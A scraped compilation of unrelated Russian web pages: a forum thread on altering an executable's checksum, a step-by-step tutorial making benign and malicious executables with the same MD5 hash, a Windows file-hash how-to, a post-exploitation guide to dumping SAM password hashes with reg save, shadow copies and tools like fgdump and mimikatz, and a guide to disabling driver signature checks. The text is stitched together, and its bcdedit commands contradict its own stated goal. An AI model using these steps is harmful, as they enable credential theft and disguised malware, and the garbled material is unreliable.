Форум программистов Vingrad
Модераторы: Poseidon, Snowy, bems, MetalFan
Страницы: (2) Все [1] 2 |
Поиск: |
|
Опции темы |
Rexar |
|
||
Шустрый Профиль Репутация: 0
|
Как изменить контрольную сумму файла средствами Делфи……. |
||
|
|||
Poseidon |
|
||
Delphi developer Профиль
Репутация: 53
|
Какого файла? Формат? В общем случае можно просто открыть файл как текст и добавить туда пару символов. Хотя для некоторых форматов может не прокатить ——————— Если хочешь, что бы что-то работало — используй написанное, |
||
|
|||
Rexar |
|
||
Шустрый Профиль Репутация: 0
|
*.exe, если просто добавить символы, то программа не запуститься….. |
||
|
|||
Snowy |
|
||
Эксперт Профиль
Репутация: 192
|
Изменить контрольную сумму файла легко. Достаточно изменить любой байт файла и любой CRC выдвст другой результат. |
||
|
|||
Rexar |
|
||
Шустрый Профиль Репутация: 0
|
Нужно изменить размер файла, например чтоб больше был…….., это Hex редактором что-ли делать или как ? Я просто не пойму что ты написал |
||
|
|||
DIMONSOFT |
|
||
Бывалый Профиль
Репутация: 1
|
Антивирусам это непонравиться ——————— |
||
|
|||
Poseidon |
|
||
Delphi developer Профиль
Репутация: 53
|
DIMONSOFT, антивирусам все равно! ——————— Если хочешь, что бы что-то работало — используй написанное, |
||
|
|||
DIMONSOFT |
|
||
Бывалый Профиль
Репутация: 1
|
Согласен. Но непонятно что ——————— |
||
|
|||
Guest |
|
||
Unregistered
|
Я хочу вот что: есть файл 1.exe он занимает 48,8 КБ, нужно сделать так чтоб он занимал места больше чем 48,8 КБ, например 50,8 КБ. |
||
|
|||
Zero |
|
||
Эксперт Профиль
Репутация: 8
|
Да можно и текстовым редактором… Или я например, использую Total Commander, там выбираешь любой файл, и нажимаешь <F4> |
||
|
|||
Guedda |
|
||
Подрывник Профиль
Репутация: 14
|
Если у тебя есть исходники, то лучше дописать что-нить (кроме комментариев)… А если исходников нет, тогда лучше делать, как посоветовал Snowy ——————— Ll 2 |
||
|
|||
Yanis |
|
||
Эксперт Профиль
Репутация: 72
|
2 Rexar ———————
|
||
|
|||
Rexar |
|
||
Шустрый Профиль Репутация: 0
|
Как это сделать чтоб *.exe файл потом можно было запустить ? Если я тупо допишу через блокнот то экзэшник не запускается… |
||
|
|||
Poseidon |
|
||||
Delphi developer Профиль
Репутация: 53
|
——————— Если хочешь, что бы что-то работало — используй написанное, |
||||
|
|||||
Snowy |
|
||||
Эксперт Профиль
Репутация: 192
|
|
||||
|
|||||
Страницы: (2) Все [1] 2 |
|
Правила форума «Delphi: Общие вопросы» | |
|
Запрещается! 1. Публиковать ссылки на вскрытые компоненты 2. Обсуждать взлом компонентов и делиться вскрытыми компонентами
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader. |
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) |
0 Пользователей: |
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема » |
Burya, предположим некто написал незатейливую программу на С (далее просто app.exe), исходник, которой выглядит так:
C | ||
|
Хэш (пусть это будет SHA256) app.exe программно вычислить можно примерно так:
VB.NET | ||
|
В итоге плучаем, что app.exe, собранная cl.exe без каких-либо параметров оптимизации кода, имеет хэш:
Код
f144b4d0015c387021709f9fc05c280aaea38e3389ba6d09203f04388f6ed744
Теперь предположим, что исходников app.exe у нас нет, а исправить ошибку в слове «present» все же хотелось бы. Смотрим в хекс редактор и видим.
Иными словами, нужно изменить 0x7A на 0x73.
VB.NET | ||
|
После выполнения этой программы app.exe выводит теперь:
Код
I've got a present for ya!
Проверяем хэш — медитируем над результатом.
Забавляемся с хешами
Время прочтения
5 мин
Просмотры 82K
Привет. Я хочу показать вам небольшой фокус. Для начала вам потребуется скачать архив с двумя файлами. Оба имеют одинаковый размер и одну и ту же md5 сумму. Проверьте никакого обмана нет. Md5 хеш обоих равен ecea96a6fea9a1744adcc9802ab7590d. Теперь запустите программу good.exe и вы увидите на экране следующее.
Попробуйте запустить программу evil.exe.
Что-то пошло не так? Хотите попробовать сами?
О хешах и колллизиях
На самом деле ничего нового во всем этом нет. В действительности данный эффект достигается за счет методов быстрого поиска коллизий для хеш функции разработанных еще в 2004-2006 годах. Если кто не знает, коллизия это два разных набора данных, имеющих одно и тоже хеш-значение. Так вот, в 2004 году группа китайских исследователей разработала алгоритм, основанный на дифференциальном криптоанализе, позволяющий за относительно небольшое время находить два различных случайных блока данных, размером по 128 байт каждый, имеющих одну и ту же md5 сумму. И хотя алгоритм этот в свое время произвел эффект взорвавшейся бомбы быстродействие его оставляло желать лучшего. Но уже в 2006 году чешский криптограф Властимил Клима предложил для поиска коллизий новый метод, позволяющий найти разную пару случайных 128 байтных блоков с одной md5 суммой на персональном компьютере меньше чем за минуту.
Вы спросите, но что нам даст обладание такой парой сообщений, мало того что они короткие(всего 128 байт), так еще, в добавок, и случайные, т.е. метод не позволяет для заданного сообщения подобрать другое, с идентичным хешем. Однако это открывает огромный простор для различного рода атак на выполняемые файлы. И виной тому служит следующая особенность работы любой хеш функции: Хеш функция по своей природе итеративна. Это означает, что при подсчете хеша сообщение разбивается на блоки, к каждому блоку применяется функция сжатия, зависящая от некоторой переменной, называемой вектор инициализации. Результат этой функции будет являться вектором инициализации для следующего блока. Результат функции после работы с последним блоком и будет окончательным хеш значением нашего сообщения.
Схематично это можно представить следующим образом:
si+1 = f(si, Mi), где si вектор инициализации для i-го блока.
Метод Властимила Клима позволяет для любого заданного значения si подобрать два 128-байтных блока M,M` и N,N` таких, что f(f(s, M), M’) = f(f(s, N), N’).
Таким образом, с помощью данной методики можно сконструировать два файла с одинаковой md5 суммой, но имеющих различные 128 байт в середине.
M0, M1, …, Mi-1, Mi, Mi+1, Mi+2, …, Mn,
M0, M1, …, Mi-1, Ni, Ni+1, Mi+2, …, Mn.
Обратите внимание что хеши обоих этих файлов совпадут, т.к. различающиеся блоки Mi, Mi+1 и
Ni, Ni+1 вернут в качестве si+2 одно и тоже значение, т.к. f(f(s, Mi), Mi+1) = f(f(s, Ni), Ni+1), а поскольку все последующие данные идентичны то последующие значения функции сжатия для обоих файлов будут совпадать.
Что это нам дает
Теперь перейдем от вещей абстрактных и отдаленных к вопросу практическому. Предположим, что у нас есть исполняемый файл M0, M1, X, X, …, Mn. Но его основе мы можем создать два разных файла M0, M1, N1, N1, …, Mn и M0, M1, N2, N1,…, Mn(просто меняем блоки X на N1 и N2). Если блоки N1 и N2 – это коллизии то хеш-сумма этих файлов будет совпадать.
Теперь представим, что этот исполняемый файл имеет следующую структуру:
if (X == X) then { good_program } else { evil_program }
Вот собственно и весь секрет данного фокуса.
Как сделать самостоятельно
Теперь немного поговорим о том как это сделать самому.
Шаг первый: пишем программу с двойным дном.
#include <stdafx.h>
#include<iostream>
#include <string>
using namespace std;
//переменные str1 и str2 в данном примере являются теми самыми элементами X.
static char *str1="qwertyuioplkjhgfdaszxcvbnmkjhgfdsaqwertyuikjh"
"gbvfdsazxdcvgbhnjikmjhbgfvcdsazxdcfrewqikolkjnhgfqwertyuioplkjh"
"gfdaszxcvbnmkjhgfdsaqwertyuikjhgbvfdsazxdcvgbhnjikmjhbgfvcdsa"
"zxdcfrewqikolkjnhgfq123";
static char *str2="qaswderftgyhujikolpmnbvcxzasxdcfvgbhnjmkijuy"
"gtfdeswaqscfvgyjqaswderftgyhujikolpmnbvcxzasxdcfvgbhnjmkijuyg"
"tfdeswaqscfvgyjqaswderftgyhujikolpmnbvcxzasxdcfvgbhnjmkijuygt"
"fdeswaqscfvgyjqwertyuikja2";int good()
{
int a;
std::cout<<"Good, nice programme!";
std::cin>>a;
return 0;
}
int bed()
{
int a;
for(int i=0; i<1000; i++)
{
std::cout<<"Evil, evil code!";
}
std::cin>>a;
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
//строки s и s2 содержат только блоки с коллизиями без лишних элементов
string s=str1;
string s2=str2;
s.erase(0,56);
s.erase(128,8);
s2.erase(0,64);
if (s==s2) {
return good();
} else {
return bed();
}
return 0;
}
* This source code was highlighted with Source Code Highlighter.
Особое внимание прошу обратить на переменные str1 и str2. Они служат для того, чтобы их можно было быстро найти в hex-редакторе и заменить нужными данными.
Функция main в зависимости от содержимого переменных s вызывает хорошую или плохую версию программы.
Шаг второй: После компиляции программы нужно будет немного поработать с hex-редактором для того чтобы найти в .exe файле наши строки str1 и str2. Скопируй полученный .exe файл. Пусть копия будет называется «обрезанная версия». Откройте копию в hex-редакторе и найди в ней строки str1 и str2. Удалите все данные идущие после первых 64 байт первой из строк. Последние строки полученного файла будут выглядеть вот таким образом: . Сохраните данный файл.
Шаг третий: Созданный на втором шаге файл будет служить так называемым префиксом для поиска коллизий. Чтобы найти коллизию с заданным префиксом нужно скачать отсюда программу fastcoll(Спасибо ее автору Marc Stevens). Исходники лежат тут.
Запустите программу с параметром –p. В качестве префикса укажите «обрезанную версию». В результате работы программы будут созданы два файла «обрезанная версия_msg1» и «обрезанная версия_msg2».
Шаг четвертый: создайте еще одну копию вашей программы. Пусть оригинал будет называться good.exe, а копия evil.exe. Откройте файлы msg1 и msg2 в hex редакторе. Сперва замените блок в котором хранится str2 данными из блока str1. Пусть теперь в них будет одинаковая информация. После этого скопируйте из файла msg1 последние 128 байт и вставьте их в ваш good файл так как показано на рисунке.
Обратите внимание, отступы должны соответствовать следующим параметрам: первый блок вставляется прямо в том месте где заканчивается файл «обрезанная версия», второй блок располагается в 96 байтах от первого. Важно: блоки вставлять одни и те же. Это будет доброй версией нашей программы. Сохраняем файл good.exe и открываем файл evil.exe. Блоки в файл evil.exe нужно будет вставить в те же места, что и в good.exe, единственное отличие заключается в том, что первый блок мы берем из файла msg2, а второй из файла msg1. Это различие и обеспечит нам невыполнение условия программы if (s==s2) и соответственно запустит злую версию программы.
Шаг пятый: Profit! Сравниваем md5 суммы файлов, наслаждаемся полученным результатом.
Список литературы:
1. Замечательный сайт с описанием данного метода
2. Сайт Властимила Клима
3. Сайт автора программы findcoll
Содержание
- Как узнать хэш (контрольную сумму) файла в Windows PowerShell
- Получение контрольной суммы файла средствами Windows
- Получение хэша файла в командной строке с помощью CertUtil
- Эффективное получение хеша паролей в Windows. Часть 1
- Физический доступ
- Обход приглашения на ввод пароля
- Сброс пароля
- Использование пост-эксплойтов
- Методы, основанные на унаследованных возможностях Windows
- Метод, использующий теневое копирование томов
- Методы, основанные на внедрении в память процессов
- Хэш у этого файла отсутствует или подделан: убираем ошибку
- Расскажем почему появляется ошибка хэша…
- Деактивация проверки цифровой подписи
- Деактивация проверки подписи при помощи локальной групповой политики
- Установка драйверов в тестовом режиме
Как узнать хэш (контрольную сумму) файла в Windows PowerShell
Хэш или контрольная сумма файла — короткое уникальное значение, вычисляемое из содержимого файла и обычно использующееся для проверки целостности и соответствия (совпадения) файлов при загрузке, особенно если речь идет о больших файлах (образы системы и подобные), которые могут быть скачены с ошибками или есть подозрения о том, что файл был подменен вредоносным ПО.
На сайтах загрузок часто бывает представлена контрольная сумма, вычисленная по алгоритмам MD5, SHA256 и другим, позволяющая сверить загруженный файл с файлом, выложенным разработчиком. Для вычисления контрольных сумм файлов можно использовать сторонние программы, но есть способ сделать это и стандартными средствами Windows 10, 8 и Windows 7 (требуется версия PowerShell 4.0 и выше) — с помощью PowerShell или командной строки, что и будет продемонстрировано в инструкции.
Получение контрольной суммы файла средствами Windows
Для начала потребуется запустить Windows PowerShell: проще всего использовать поиск в панели задач Windows 10 или меню Пуск Windows 7 для этого.
Команда, позволяющая вычислить хэш для файла в PowerShell — Get-FileHash, а чтобы использовать ее для вычисления контрольной суммы достаточно ввести ее со следующими параметрами (в примере вычисляется хэш для образа ISO Windows 10 из папки VM на диске C):
При использовании команды в таком виде, хэш вычисляется по алгоритму SHA256, но поддерживаются и другие варианты, задать которые можно с помощью параметра -Algorithm, например, для вычисления контрольной суммы MD5 команда будет выглядеть как в примере ниже
При этом поддерживаются следующие значение для алгоритмов вычисления контрольной суммы в Windows PowerShell
- SHA256 (по умолчанию)
- MD5
- SHA1
- SHA384
- SHA512
- MACTripleDES
- RIPEMD160
Подробное описание синтаксиса команды Get-FileHash доступно также на официальном сайте https://technet.microsoft.com/en-us/library/dn520872(v=wps.650).aspx
Получение хэша файла в командной строке с помощью CertUtil
В Windows присутствует встроенная утилита CertUtil для работы с сертификатами, которая, помимо прочего, умеет высчитывать контрольную сумму файлов по алгоритмам:
- MD2, MD4, MD5
- SHA1, SHA256, SHA384, SHA512
Для использования утилиты достаточно запустить командную строку Windows 10, 8 или Windows 7 и ввести команду в формате:
Пример получения хэша MD5 для файла показан на скриншоте ниже.
Дополнительно: на случай, если вам требуются сторонние программы для вычисления хэшей файлов в Windows, можно обратить внимание на SlavaSoft HashCalc.
Если же требуется вычислить контрольную сумму в Windows XP или в Windows 7 без PowerShell 4 (и возможности его установить), вы можете использовать утилиту командной строки Microsoft File Checksum Integrity Verifier, доступную для загрузки на официальном сайте https://www.microsoft.com/en-us/download/details.aspx?id=11533 (формат команды для использования утилиты: fciv.exe путь_к_файлу — результат будет MD5. Также можно вычислить хэш SHA1: fciv.exe -sha1 путь_к_файлу)
А вдруг и это будет интересно:
Почему бы не подписаться?
Рассылка новых, иногда интересных и полезных, материалов сайта remontka.pro. Никакой рекламы и бесплатная компьютерная помощь подписчикам от автора. Другие способы подписки (ВК, Одноклассники, Телеграм, Facebook, Twitter, Youtube, Яндекс.Дзен)
08.09.2016 в 19:21
Здравствуйте. На Windows 10 в контекстном меню проводника CRC SHA можно вычислить SHA-1, SHA-256.
09.09.2016 в 09:41
Здравствуйте. Подозреваю, это что-то установленное вами добавило такой пункт, по умолчанию нет (в настройках тоже подобного не нашел)
09.09.2016 в 18:37
Да Вы правы. Проверил, оказывается пункт CRS SHA принадлежит архиватору 7-Zip.
09.09.2016 в 08:19
Спасибо очень полезная статья.
09.09.2016 в 16:51
еще проще узнать хэш сумму сторонней программой, совершенно бесплатной HashTab.
Эффективное получение хеша паролей в Windows. Часть 1
Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7.
Слегка измененное определение из Википедии:
Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7. В SAM хранятся хешированные пароли пользователей (в формате LM-хеш или NTLM-хеш). Благодаря тому, что хеш-функция однонаправленная, пароли находятся в относительной безопасности.
Вообще, получение хеша паролей пользователей операционной системы, как правило, один из первых шагов, ведущий к компрометации системы в дальнейшем. Доступ к хешированным паролям дает “зеленый свет” различным атакам, к примеру: использование хеша для SMB-аутентификации в других системах с тем же паролем, анализ парольной политики и распознавание структуры пароля, взлом пароля и.т.п.
Способов получения хешированных паролей из SAM множество, и выбор конкретного способа будет зависеть от того, каким именно доступом к компьютеру жертвы вы обладаете.
Физический доступ
Вышеназванные утилиты, как правило, поставляются со многими дистрибутивами GNU/Linux. Перед получением дампа хешей убедитесь, что вы располагаете этими утилитами.
# bkhive
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
bkhive systemhive keyfile
# samdump2
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
samdump2 samhive keyfile
Пример получения хешей SAM из Windows-раздела /dev/sda1:
# mkdir -p /mnt/sda1
# mount /dev/sda1 /mnt/sda1
# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved syskey.txt
# samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt
Если же bkhive и samdump2 у вас нет, то можно скопировать SYSTEM и SAM файлы из /mnt/sda1/Windows/System32/config себе на флешку, а затем импортировать файлы с флешки в любую утилиту, позволяющую извлечь хеши SAM: например, Cain & Abel, creddump,mimikatz и.т.п.
Обход приглашения на ввод пароля
Сброс пароля
Использование пост-эксплойтов
C:>psexec.exe -i -s cmd.exe
Есть и другие способы повышения привилегии, но их описание останется вне рамок этого поста.
Методы, основанные на унаследованных возможностях Windows
Также стоит упомянуть утилиту regback.exe из пакета Windows 2000 Resource Kit Tools. Утилита слегка упрощает процесс, так как сливаются только нужные файлы:
C:>regback.exe C:backtempSAM machine sam
C:>regback.exe C:backtempSYSTEM machine system
Если regback.exe не срабатывает, то на системах Windows XP и выше можно воспользоваться утилитами regedit.exe и reg.exe:
C:>reg.exe save HKLMSAM sam
The operation completed successfully
C:>reg.exe save HKLMSYSTEM sys
The operation completed successfully
- Выполнить regedit.exe в Start/Run.
- Открыть ветку ComputerHKEY_LOCAL_MACHINE, правой кнопкой мыши щелкнуть по секции SAM и выбрать “Export” (“Экспортировать”).
- Установить значение параметра “Save as type” (“Тип файла”) в “Registry Hive Files” (“Файлы кустов реестра”).
- Проделать то же самое для куста SYSTEM.
И, наконец, еще один способ: файлы SAM и SYSTEM можно достать из каталога C:Windowsrepair. Но существует вероятность, что в каталоге содержаться устаревшие копии нужных файлов, информация о пользователях в которых неактуальна.
Метод, использующий теневое копирование томов
Для выполнения метода, вы можете воспользоваться cкриптом vssown, который дает возможность управлять теневым копированием.
Список теневых копий:
C:>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Как и ожидалось, сначала никаких теневых копий нет.
Проверим статус службы теневого копирования (VSS):
C:>cscript vssown.vbs /status
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
C:>cscript vssown.vbs /mode
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] VSS service set to ‘Manual’ start mode.
Если тип запуска службы “Вручную”, то нам нужно установить тип запуска в первоначальное состояние (“Остановлена”).
Создадим теневую копию:
C:>cscript vssown.vbs /create
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to create a shadow copy.
Проверим, что теневая копия создалась:
C:>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] ID:
[*] Client accessible: True
[*] Count: 1
[*] Device object: \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
[*] Differnetial: True
[*] Exposed locally: False
[*] Exposed name:
[*] Exposed remotely: False
[*] Hardware assisted: False
[*] Imported: False
[*] No auto release: True
[*] Not surfaced: False
[*] No writers: True
[*] Originating machine: LAPTOP
[*] Persistent: True
[*] Plex: False
[*] Provider ID:
[*] Service machine: LAPTOP
[*] Set ID: <018d7854-5a28-42ae-8b10-99138c37112f>
[*] State: 12
[*] Transportable: False
[*] Volume name: \?Volume<46f5ef63-8cca-11e0-88ac-806e6f6e6963>
Обратите внимание на значение параметров Deviceobject и ID. Значение первого параметра понадобиться для осуществления следующего шага, а значение второго – для очистки.
Достанем следующие файлы из теневой копии:
C:>copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM .C:>copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM .
Таким образом, мы только что скопировали файлы SAM и SYSTEM из теневой копии в папку C:root.
C:>cscript vssown.vbs /delete
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to delete shadow copy with ID:
И, наконец, остановим службу теневого копирования:
C:>cscript vssown.vbs /stop
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Signal sent to stop the VSS service.
Методы, основанные на внедрении в память процессов
Наиболее известным инструментом для получения хешей SAM, вероятно, является утилита fgdump – улучшенная версия pwdump6; обе утилиты разработаны командой foofus. Основное преимущество fgdump над pwdump заключается в возможности работать на системах Windows Vista и выше. Хотя пару раз я видел, как падали обе утилиты. Среди более стабильных и надежных инструментов можно выделить pwdump7 от Андреса Тараско (Andres Tarasco) и gsecdump от TrueSec. Обе утилиты работают на всех версиях Windows, как 32- так и 64-битных. Нужно отметить, что с контроллеров домена слить хеши паролей с помощью утилиты pwdump7 не получится, так как эта утилита вместо внедрения в LSASS читает хеши SAM из реестра. Еще одна надежная и популярная утилита – это PWDumpX, разработанная Ридом Арвином (Reed Arvin), хотя работает PWDumpX только на 32х разрядных системах.
Ниже на скриншоте показан дамп информации из SAM, полученной утилитой gsecdump на Windows Server 2003 SP2 32-bit:
Дамп информации о локальных пользователях после внедрения кода в процесс LSASS
В Metasploit Framework также имеются собственные модули пост-эксплойта, встроенные команды и скрипты для Meterpreter, позволяющие получить хеши SAM. Подробнее о работе кода и о том, какие идеи лежат в его основе можно прочитать в этих постах.
Разумеется, существует и множество других инструментов и методов, и важно знать, какой именно метод подходит для конкретной системы. Чтобы облегчить выбор, я создал сводную электронную таблицу, в которой перечислены нужные утилиты, их возможности и принципы работы, и, что самое важное, возможные проблемы при использовании таких утилит.
Хэш у этого файла отсутствует или подделан: убираем ошибку
Расскажем почему появляется ошибка хэша…
Сообщение «хэш у этого файла отсутствует или подделан» появляется в нескольких случаях. Самый частая причина появления этой ошибки возникает в случаях, когда необходимо произвести установку измененного и /или устаревшего драйвера в систему, которая работает под управлением Windows 8/10. Они отличаются от предыдущих версий тем, что в них установка драйвера без подписи блокируется автоматически.
При установке драйверов без подписи отсутствует пункт «Всё равно установить» и продолжить установку таких драйверов уже невозможно. Нередко появляется окно с предупреждением «Хэш файла отсутствует в файле каталога. Возможно файл подделан или повреждён». В данной ситуации может помочь деактивация проверки цифровой подписи. О ней — далее.
Деактивация проверки цифровой подписи
При появлении ошибки, хэш у этого файла отсутствует или подделан, нужно отключить проверку цифровой подписи. Нужно запустить командную строку от имени администратора и ввести команду: shutdown.exe /r /o /f /t 00
После перезагрузки системы, открываем раздел «Поиск/устранение неисправностей», затем — выбираем пункт «Диагностика системы». Открываем «Дополнительные параметры» и оказываемся в меню «Параметры загрузки». Устраняем неполадку и перезагружаем систему
После рестарта, в открывшемся окне, нажимаем клавишу F7 — система будет запущена без обязательной проверки подписи. После этого появится возможность устанавливать неподписанные драйвера.
Вышеуказанный вариант является наиболее удобным для неподготовленного пользователя, но у него есть и недостаток — это решение будет работать лишь до следующей перезагрузки компьютера.
Деактивация проверки подписи при помощи локальной групповой политики
Этот вариант лучше всего подходит для тех компьютеров, которые работают под управлением Windows 10 Pro. При помощи сочетания горячих клавиш Win + R, вызываем окно Выполнить. Вводим команду gpedit.msc и подтверждаем её нажатием клавиши Enter. Открываем пункт «Конфигурация пользователя» и заходим в «Шаблоны», теперь кликаем по разделу «Система». Нас интересует подменю «Установка драйверов».
В правом углу экрана находим пункт «Цифровая подпись драйверов» — кликаем по нему правой кнопкой мыши и выбираем «Изменить», затем — «Отключить» и подтверждаем изменение настроек выбрав ОК. Всё! Проблема, хэш у этого файла отсутствует или подделан, будет решена.
Установка драйверов в тестовом режиме
Если ни один из описанных выше вариантов не сработал, нужно попробовать установить драйверы в тестовом режиме. Для этого загружаем Windows в тестовом режиме — он позволяет установить драйверы любых версий. Запускаем командную строку и вводим следующие команды:
- bcdedit.exe /set TESTSIGNING OFF
- bcdedit.exe /set nointegritychecks OFF
После ввода каждой команды появится уведомление о её выполнении — после перезагрузки системы, можно пробовать установить неподписанные драйвера.
Внимание! Установка драйверов в тестовом режиме должна производится с особой осторожностью, так как переведя систему в тестовый режим, значительно снижается безопасность и система может быть заражена вирусом или иным другим вредоносным кодом.
Вот и весь ответ. почему хэш у этого файла отсутствует или подделан. Выполняя все рекомендации из данного материала, избавиться от ошибки не составит труда. Но лучше всегда использовать совместимые драйвера / программы, предназначенные для конкретной операционной системы.